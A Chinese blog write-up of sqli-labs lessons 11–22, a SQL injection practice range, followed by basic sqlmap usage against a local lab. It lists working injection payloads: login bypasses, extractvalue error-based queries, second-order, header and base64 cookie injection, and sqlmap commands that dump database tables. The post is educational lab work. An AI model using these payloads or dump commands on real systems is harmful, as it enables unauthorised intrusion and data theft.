Sqli靶场 11--->22Less

打靶场,打靶场,打靶场,打靶场......靶场你别打我 球球     

                              

11.不用密码(狂喜)

这一关知不知道账号密码都无所谓

那么我们就尝试一下报错类型,单引号报错,好,字符型

构造poc

I_don_t_know_the_information ' or 1=1 --+

这样就能返回整个表的信息,但是她只会显示一行

或者你还可以

admin'#

这样就可以直接爆出管理员的密码(当然实战是不可能给你回显的,你要通过构造or来获取密码)

12.有个)还有个"

这一关你直接尝试单引号闭合的话就会发现是行不通的,查看源码就能发现是这样

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  • 他的意思就是将得到的uname和passwd先用 " 包裹,然后再加上一个) ,如果我们直接拼接单引号或者双引号的话就会出现下面的代码:
@$sql="SELECT username, password FROM users WHERE username=("admin"") and password=("1111") LIMIT 0,1";

根本就达不到注释掉后面的语句的后果 ,所以要这样构造poc

admin")--+

这样才能达到注释掉密码的效果

13.啊?啊这

这,这,这........

不就是上一关将双引号改成单引号???不多赘述

                                 

14.啊,啊?你再考什么?

又一题无语题,当我尝试单引号闭合,发现没有报错,双引号闭合,发现报错了 

于是就拼接一个poc? 这???? 啊,你再考什么

15.报错?玩的就是真实

这一关,你会发现你怎么构造poc 它都是没有报错,但是你只要构造一条poc

admin' #

就会发现能过了!!! 其实现实生活中也是,网站一般都是不会返回报错信息的,需要你的耐心和经验去绕waf

16. ")# 

正如标题,这句poc就是  不多说,下一题!!

admin") #

17.二次注入&&passwd绕过

其实一开始我是没有想到passwd绕过的,于是就先来讲讲二次注入

一开始可以先看到它的改密码的界面

  1. 首先有两个账号 一个admin 一个admin'#  ,admin的密码为admin ,admin'#的密码是123
  2. 然后去将admin‘# 的密码修改成1234

就会发生二次注入!! 

然后就是passwd绕过,上源码!!

//making sure uname is not injectable
$uname=check_input($_POST['uname']);  $passwd=$_POST['passwd'];

其中涉及到的check_input()是它自己写的函数,基本上防住了sql注入!!

但是好笑的是他不过滤passwd的传入

                ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        

再来看一眼源代码

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

那么就这样构造poc

admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

可以爆出它的数据库路径 

但是但是!!!!!,你的poc千万不要这么写

test' #

写了你就等着进橘子,不要问我怎么知道的(艹,手贱

18.UA注入

参考我的上一篇文章

19.Refer头注入

还是参考我的上一篇文章

20.Cookie注入

继续参考我上一篇文章(梅开三度)

        ​​​​​​​        ​​​​​​​        ​​​​​​​        

21.Base64&&Cookie

在我们登录之后,我们可以抓到一个这种包,所以就发现是cookie注入

盲猜是base64编码,去解码一下就会发现

因为是插入,我们可以构造这样的poc ,记得编码

' ,1,extractvalue(1,(concat(0x7e,(select database()),0x7e))))--+

但是发现报错了,还看见有一个) 那就构造另一类poc

' ,1,extractvalue(1,(concat(0x7e,(select database()),0x7e))))#

突然想起来,好像没有讲过他的原理!那就先来讲一下他原理

  嘻嘻

就是在插入之中,如果我们插入了能执行的函数的话,他会去执行这个函数

 就像这样!!

所以当我们传入extractvalue的时候他也会去执行

22.Cookie注入&& "

这一关其实就是和上面的一关差不多 ,就是将’ 变成了”

所以就可以写出这样一个poc ,记得base64编码 

" and extractvalue(1,(concat(0x7e,(select database()),0x7e))) and "

SQLMap的基本用法

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1"

Declaration:这个工具可不能乱用,可能会被封IP,而且 里面的risk等级

1.对于url是get请求

就拿第一关来说

先用第一句探测是否存在sql注入

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1"

看的出来,存在注入

然后就是第二句

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" --dbs ;

这样就会给你爆出表名  

第三步选一个表 然后 进行第三句poc

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" -D security --tables;

最后就是脱库了

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" -D security -T users --dump ;

2.对于是POST请求

就拿sqli的第十关来举例,先将这个包复制下来,在一个文件夹复制下来

然后在存在sql注入的地方 例如上面的uname 后面的值替换成 *

然后输入poc

python sqlmap.py -r "D://1.txt" ;

然后后面的就和get相同了

3.然后就是还有一些参数

最后最后,就是 --risk 那里不要设置为三 不然有可能你就把人家整个表给删掉了或者更新掉了

[!]legal disclaimer: Usage of sqlmap for attacking targets without prior mutualconsents responsibility to obey all applicable local, state and federal laws. Developersassumenosible for any misuse or damage caused by this program
is illegal.It is theend userliability and are not respon!!!!!!!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/442189.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT自制软键盘 最完美、最简单、支持中文输入(二)

目录 一、前言 二、本自制虚拟键盘特点 三、中文输入原理 四、组合键输入 五、键盘事件模拟 六、界面 七、代码 7.1 frmKeyBoard 头文件代码 7.2 frmKeyBoard 源文件代码 八、使用示例 九、效果 十、结语 一、前言 由于系统自带虚拟键盘不一定好用,也不一…

力扣hot100 分割回文串 集合 dfs

Problem: 131. 分割回文串 文章目录 思路Code💖 DP预处理版 思路 👨‍🏫 参考题解 Code import java.util.ArrayDeque; import java.util.ArrayList; import java.util.Deque; import java.util.List;public class Solution {int n;//字符…

vulnhub-DC-2

信息收集: kali里使用netdiscover发现主机 使用命令: nmap -sS -sV -A -n 172.16.5.18 打开网站 找到flag1 他提示我们使用cewl工具(一个字典生成工具) 那么既然我们有了密码 我们还需要知道用户名使用wpscan 这个工具使用命令&a…

PyTorch深度学习实战(34)——Pix2Pix详解与实现

PyTorch深度学习实战(34)——Pix2Pix详解与实现 0. 前言1. 模型与数据集1.1 Pix2Pix 基本原理1.2 数据集分析1.3 模型构建策略 2. 实现 Pix2Pix 生成图像小结系列链接 0. 前言 Pix2Pix 是基于生成对抗网络 (Convolutional Generative Adversarial Netwo…

Flask 入门2:路由

1. 前言 在上一节中&#xff0c;我们使用到了静态路由&#xff0c;即一个路由规则对应一个 URL。而在实际应用中&#xff0c;更多使用的则是动态路由&#xff0c;它的 URL是可变的。 2. 定义一个很常见的路由地址 app.route(/user/<username>) def user(username):ret…

测试 35 个 webshell 检测引擎的查杀结果

最近发现了一个有意思的 使用分支对抗技术制作的 PHP Webshell 开源项目&#xff0c;共数十个查杀引擎免杀&#xff0c;项目地址&#xff1a;https://github.com/icewolf-sec/PerlinPuzzle-Webshell-PHP 什么是 Webshell Webshell 是一种恶意脚本&#xff0c;它能让攻击者通过…

C++ //练习 3.14 编写一段程序,用cin读入一组整数并把它们存入一个vector对象。

C Primer&#xff08;第5版&#xff09; 练习 3.14 练习 3.14 编写一段程序&#xff0c;用cin读入一组整数并把它们存入一个vector对象。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 代码块 /***********************************…

前端基础-事件循环(消息循环)

这里写自定义目录标题 1. 浏览器进程主要的进程&#xff08;了解&#xff09; 2. 渲染主线程是如何工作的&#xff1f;3. 面试题&#xff1a;如何理解 JS 的异步&#xff1f;3. JS为何会阻碍渲染&#xff1f;4. 任务有优先级吗&#xff1f;5. 面试题&#xff1a;阐述一下 JS 的…

故障诊断 | 一文解决,BiLSTM双向长短期记忆神经网络故障诊断(Matlab)

文章目录 效果一览文章概述专栏介绍模型描述源码设计参考资料效果一览 文章概述 故障诊断模型 | Maltab实现BiLSTM双向长短期记忆神经网络故障诊断 专栏介绍 订阅【故障诊断】专栏,不定期更新机器学习和深度学习在故障诊断中的应用;订阅

故障诊断 | 一文解决,SVM支持向量机的故障诊断(Matlab)

效果一览 文章概述 故障诊断 | 一文解决,SVM支持向量机的故障诊断(Matlab) 支持向量机(Support Vector Machine,SVM)是一种常用的监督学习算法,用于分类和回归分析。SVM的主要目标是找到一个最优的超平面(或者在非线性情况下是一个最优的超曲面),将不同类别的样本分开…

最全前端 HTML 面试知识点

一、HTML 1.1 HTML 1.1.1 定义 超文本标记语言&#xff08;英语&#xff1a;HyperTextMarkupLanguage&#xff0c;简称&#xff1a;HTML&#xff09;是一种用于创建网页的标准标记语言 HTML元素是构建网站的基石 标记语言&#xff08;markup language &#xff09; 由无数个…

云计算概述(云计算类型、技术驱动力、关键技术、特征、特点、通用点、架构层次)(二)

云计算概述&#xff08;二&#xff09; &#xff08;云计算类型、技术驱动力、关键技术、特征、特点、通用点、架构层次&#xff09; 目录 零、00时光宝盒 一、云计算类型&#xff08;以服务的内容或形态来分) 二、云计算的12种技术驱动力 三、云计算的关键技术 四、云计…